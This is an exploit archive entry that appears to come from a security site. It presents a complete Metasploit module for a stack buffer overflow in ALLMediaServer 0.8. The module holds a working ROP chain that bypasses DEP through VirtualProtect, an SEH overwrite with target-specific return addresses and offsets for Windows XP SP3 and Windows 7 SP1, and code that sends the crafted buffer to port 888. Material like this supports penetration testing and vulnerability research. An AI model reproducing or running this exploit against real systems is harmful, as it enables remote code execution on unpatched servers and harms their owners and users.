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ALLMediaServer 0.8 Buffer Overflow

ALLMediaServer 0.8 Buffer Overflow
Posted Jul 16, 2012
Authored by modpr0be, juan vazquez, motaz reda | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability is caused due to a boundary error within the handling of HTTP request. While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't reliable across virtual (VMWare, VirtualBox) and physical environments. Because of this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default DEP is OptIn and AllMediaServer won't run with DEP.

tags | exploit, web, overflow
systems | windows, 7
MD5 | 59ea30c205258988554bd473b89706e9

ALLMediaServer 0.8 Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
is caused due to a boundary error within the handling of HTTP request.

While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
DEP is OptIn and AllMediaServer won't run with DEP.
},
'License' => MSF_LICENSE,
'Author' =>
[
'motaz reda <motazkhodair[at]gmail.com>', # Original discovery
'modpr0be <tom[at]spentera.com>', # Metasploit module
'juan vazquez' # More improvement
],
'References' =>
[
[ 'EDB', '19625' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "",
'Space' => 660,
'DisableNops' => true
},

'Targets' =>
[
[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
{
'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
'OffsetRop' => 696,
'jmp' => 264,
'Offset' => 1072
}
],
[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
{
'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 04 2012',
'DefaultTarget' => 1))

register_options([Opt::RPORT(888)], self.class)

end

def junk(n=1)
return [rand_text_alpha(4).unpack("L")[0]] * n
end

def nops(rop=false, n=1)
return rop ? [0x665a0aa1] * n : [0x90909090] * n
end

def asm(code)
Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
end

def exploit
#with help from mona :)
rop = [
nops(true, 12), #ROP NOP
0x65f6faa7, # POP EAX # RETN
0x671ee4e0, # ptr to &VirtualProtect()
0x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN
0x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN
junk,
0x65f5f09d, # POP EBP # RETN
0x65f9830d, # & call esp
0x6ac1c1d5, # POP EBX # RETN
0x00000600, # 0x00000320-> ebx
0x6672a1e2, # POP EDX # RETN
0x00000040, # 0x00000040-> edx
0x665a09df, # POP ECX # RETN
0x6ad58a3d, # &Writable location
0x6ac7a771, # POP EDI # RETN
nops(true), # RETN (ROP NOP)
0x6682f9f4, # POP EAX # RETN
nops, # nop
0x663dcbd2 # PUSHAD # RETN
].flatten.pack("V*")

connect

if target.name =~ /Windows 7/
buffer = rand_text(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
else
buffer = rand_text(target['OffsetRop']) #junk
buffer << rop
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
buffer << rand_text(target['Offset'] - buffer.length)
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
end

print_status("Sending payload to ALLMediaServer on #{target.name}...")
sock.put(buffer)

disconnect

end
end

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